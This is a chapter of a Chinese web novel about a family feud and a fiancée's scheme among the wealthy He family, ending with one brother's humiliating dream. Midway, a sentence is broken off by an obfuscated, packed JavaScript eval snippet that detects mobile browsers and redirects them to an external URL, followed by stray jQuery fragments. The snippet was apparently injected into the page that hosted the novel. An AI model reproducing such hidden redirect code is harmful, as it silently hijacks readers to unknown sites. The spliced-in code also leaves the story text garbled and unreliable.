贺祈衡眸光深邃几分,屏息一瞬,修长的手指从腿上托起她的脸颊。
苏明萱迷蒙地睁开眼睛,茫然地注视着他,眼角微微上挑,眼眸清澈明亮,直勾勾的看着他,无辜又单纯,看起来不谙世事,让人没办法将她刚才的行为联想为故意。
“怎么了?”苏明萱脸颊从他温热的掌心抬起来,往车窗外看了眼,语气欢快,“我到家啦。”
她拿起手机和包,一只手搭在车门把手上,扭头对贺祈衡说:“大哥,今天太晚了,我就不请您上去喝茶了,改天有空再请您到家里喝茶,今天谢谢您照顾我,送我回家。”
说罢便推门下车,动作干脆利落,俯身冲着车厢里的贺祈衡挥手,“大哥晚安。”
路灯透过车窗斜投进车厢,照亮他棱角分明的硬挺脸庞,他神情平静无波,不疾不徐的嗯了一声。
苏明萱弯起眼睛笑笑,转过身,踩着月色走进公寓。
苏明萱今天回的是自己在市中心的公寓,这边她一个人住,保姆阿姨在她通知的时候才会上门,无人打扰,昨晚又喝了很多酒,苏明萱这一觉睡得很沉。
次日睁开眼时,已经是下午两点,阳光透过窗帘缝隙将房间照亮,手机上有很多未接来电。
大部分都是本地的陌生号码,不用猜都知道是贺知洲打过来的。
他平时联系她的手机号被拉黑,注册了一堆手机号。
苏明萱没管那堆陌生号码,手指在屏幕上滑动,看到压在底下的来电备注。
“宁榕。”
这条来电是两个小时前打过来的,苏明萱把电话回过去,对面很快接通。
“苏小姐。”对方语气带着笑意,听起来就是有好事发生。
苏明萱语气淡淡:“宁小姐。”
宁榕说:“贺总的助理今天来找我了,跟我谈了条件。”
苏明萱:“满意吗?”
“那当然。”宁榕笑说:“贺总大手笔,他可比贺知洲给的多多了。”
几天前,贺知洲给她转了一笔分手费,要和她分手。
随即苏明萱便找到她,许以重利,委托她配合,汇报贺知洲的事情,让她听安排,这大小姐一看就是她惹不起的主,承诺给的钱又多,横竖贺知洲都和她掰了,在一起时也只是把她当个玩意胡来唤去,毫无真心可言,她当然不会和钱过不去。
“苏小姐以后有事随时找我,我二十四小时为您待命。”
苏明萱:“需要你的时候,我会通知你。”
宁榕说:“希望您还有需要我的时候,苏小姐,有件事我很好奇,为什么给我送钱的会是贺总?”
苏明萱靠着床头,懒洋洋道:“我找你,是因为贺知洲,钱当然要从贺家出。”
宁榕了然,这位苏大小姐手段了得,一点亏吃不得,绝对不能得罪。
*
今天是周六,贺祈衡回了贺家老宅。
贺老爷子上了年纪,近些年愈发亲近家中晚辈,所以贺家人周末如果没什么安排,便会回老宅陪老爷子。
贺祈衡走进宅子,便看到管家董叔指挥着一群佣人往里面搬家具,看到贺祈衡进来,恭敬道:“少爷。”
贺祈衡微微颔首,目光淡淡在那些抬着家具的佣人身上扫过,贺宅新中式风,佣人此刻抬的家具是法式风格,看起来和这座宅子格格不入。
董叔说:“明萱小姐和二少再过不久就要订婚了,苏太太说担心明萱小姐到这边会住不惯,太太向苏太太要了明萱小姐在苏家的房间设计,让把二少婚房布置的和明萱小姐在家里时一样。”
贺祈衡了然,迈步经过庭院,走进正屋。
客厅里,周俞婉坐在沙发上,盯着设计师给贺知洲量尺寸。
贺知洲不耐烦,“不是前阵子刚量过,怎么又量。”
周俞婉道:“订婚宴穿的衣服马虎不得,你上次量尺寸到现在已经过去多少天了,万一你胖了瘦了,到时候衣服尺寸就不合适了。”
周俞婉叮嘱贺知洲,“我可警告你啊,从现在到你订婚宴,你要保持好你的身材,没事就去跑跑步健健身,一定要拿出最好的状态出席你人生中第一个重要时刻,最近这段时间少去找你那些狐朋狗友喝酒。”
贺知洲敷衍:“知道了。”
周俞婉还想说什么,余光瞥见从门外走进来的贺祈衡,笑着问候:“祈衡回来了。”
贺知洲顺着周俞婉的视线转过身,立刻打招呼,“大哥。”
贺祈衡目光淡淡略过周俞婉和贺知洲,语气疏离,“周姨。”
贺祈衡的母亲是贺父贺盛远的原配,周俞婉是贺盛远的第二任妻子。
周俞婉从沙发上站起来,“外面天热,你喝杯绿豆汤解解暑吧。”
周俞婉转身吩咐保姆去厨房端绿豆汤,贺祈衡淡淡地:“不必。”
他抬腿上楼,周俞婉嘴角下耷,脸上有些挂不住。
贺知洲看出周俞婉不高兴了,刚好设计师量完尺寸,他扶着周俞婉到房间里去。
房门关上,周俞婉抱怨,“我好歹是他继母,他现在是越来越不把我放在眼里了。”
贺知洲心里不赞同母亲的话,在他看来,大哥这几年对母亲已经比从前客气多了,好歹现在能虚伪的喊一声周姨。
贺知洲说:“大哥性格就那样,除了爷爷,他对谁都是冷冷清清。”
周俞婉还是气不顺,说:“你不是说他谈恋爱了吗?你去打听打听,他女朋友是哪家千金。”
贺知洲不解,“我打听这个做什么?”
周俞婉说:“你爷爷偏心,贺家这么大的家业都交到你哥手里,你现在连集团总部都进不去,若是再让他娶个名门千金,这贺家以后还有你什么份。”
贺知洲:“这江城还有哪家名门千金比得过明萱?”
这倒也是。
周俞婉对苏明萱这个未来儿媳很满意,无论家世还是长相都是顶尖,满江城她还挑不出比明萱更拔尖的姑娘。
老爷子看重长孙,知洲没占上长字,这些年处处被贺祈衡压着,唯独姻缘上,知洲早早定下明萱,是贺祈衡比不上的。
谈了个女朋友藏着掖着不跟家里说,想必也是小门小户上不了台面的女孩。
这么想着,周俞婉眉目舒展,吩咐贺知洲,“下周你带明萱来家里吃饭。”
贺知洲说:“再说吧,明萱下周不一定有时间。”
他现在都联系不上明萱,不确定下周能把人带回家。
二楼房间里,贺老爷子坐在椅子上,鼻梁上戴着老花镜,手里拿着本财经杂志,翻开的页面上是贺祈衡的采访。
贺祈衡走过去,笑说:“怎么又看这个?”
这篇采访出来后,老爷子时不时就要把这本杂志拿出来翻一翻。
看见贺祈衡,老爷子收起杂志,往他身后看一眼,脸上笑意收敛。
贺祈衡问:“您找什么?”
老爷子说:“我孙媳妇呢?阿洲说你交了女朋友,怎么不带回来给爷爷看看。”
“没有的事。”贺祈衡说:“您不要听知洲胡说。”
“什么没有的事!”老爷子瞪眼,“阿洲说他都看见人家女孩从后面抱着你了,那不是女朋友是什么。”
这事说不清楚,贺祈衡不解释,只说:“以后有了会带回来给您看的。”
老爷子若有所思,劝导他,“阿衡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871204|176210||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,大丈夫当高风亮节,忠贞不渝,不要学你父亲,三心二意,喜新厌旧。”
贺祈衡笑笑说:“您放心,我不会。”
房门被人从外面敲响,董叔领着设计师进来给老爷子量尺寸。
老爷子问:“又量尺寸做什么?”
董叔说:“二少要订亲了,给您做二少订婚宴时穿的衣服。”
“对对对,阿洲再过不久就要和明萱订亲了,是要量尺做衣。”老爷子笑得合不拢嘴,侧脸对贺祈衡说:“阿衡,你也量量尺寸,做身衣服出席你弟弟订婚宴穿。”
贺祈衡温声应是。
订婚宴还有三个月,贺宅已经被喜气笼罩。
贺祈衡站在落地窗前由设计师量尺寸,楼下佣人一趟趟搬运家具,所有人忙忙碌碌,仿佛婚期就在明天。
陪老爷子吃了晚饭,贺祈衡没在老宅留宿,驱车回御华湾。
推开门,房间灯都亮着,保姆杨姨还没走,在收拾东西。
“先生。”
杨姨停下手上动作,和贺祈衡打招呼。
贺祈衡颔首,换了鞋子走进去。
杨姨说:“先生,裙子我收到次卧衣柜里了。”
贺祈衡问:“什么裙子?”
杨姨表情微妙,“就是次卧那条裙子,脱在地上,想着人家女孩可能还要穿,就洗干净晾干挂到衣柜里了。”
贺祈衡想起来苏明萱昨晚在这里换了裙子,应该是没拿走,被杨姨看见误会了。
贺祈衡没解释,淡淡嗯了一声,表示自己知道了。
解开腕表放到床头柜上,贺祈衡转身去浴室洗漱。
洗完澡,他随意裹了件睡袍坐在窗边的沙发上,拿出手机点开微信看一眼。
苏明萱的微信头像旁没有未读消息显示,她没问那条裙子。
贺祈衡点开苏明萱聊天页面,本想发消息告诉她裙子落在了自己这里,手指点在聊天框上,脑中浮现今天老爷子提起贺知洲和苏明萱订婚喜笑颜开的样子,手上动作顿住。
他和知洲同父异母,老爷子担心他们兄弟不能同心守护发扬贺氏家族,时常耳提面命,家族若想长盛不衰,兄弟姐妹需齐心协力,心不能散,心散则家族走向衰亡。
苏明萱是知洲的未婚妻,这几日她花样百出,不论目的为何,他不能再与她有任何牵扯。
贺祈衡收回手指,将手机放到一边。
*
贺宅今日有喜,精致的八角灯笼从大门沿着庭院一路挂到后院主屋,每一扇窗户都贴上红色喜字。
贺家亲朋好友站满宴客厅,一身红衣的贺老爷子坐在主位眉开眼笑。
贺祈衡被一群兄弟簇拥着出来和新娘拜天地。
新娘一头瀑布似的黑发盘起,手执一把红色丝扇遮住下半张脸,只露出一双妩媚的桃花眼含羞带怯的望着他。
隔着扇,贺祈衡依旧一眼认出新娘是即将与弟弟订婚的苏明萱。
贺祈衡不明所以,任由七亲八眷催促喝彩,在傧相的唱喝下同苏明萱拜了堂。
按流程,接下来该是送入洞房。
贺祈衡牵着苏明萱的手,等着傧相喊下一个流程,这时,贺知洲走进宴厅。
贺祈衡眉心轻蹙,旁边傧相提醒他,“贺总,您该执妾礼了。”
贺祈衡抬头看向走到主位坐下等着他执妾礼的贺知洲,脸色瞬间阴沉。
*
夜阑深沉,万籁俱寂,贺祈衡睁开眼,从床上起身,抬手按了按太阳穴。
他已经很久不曾做梦了,还是如此荒谬的梦。
他要向他的弟弟执妾礼。
贺祈衡回忆起梦境,面色冷沉,脸如寒霜。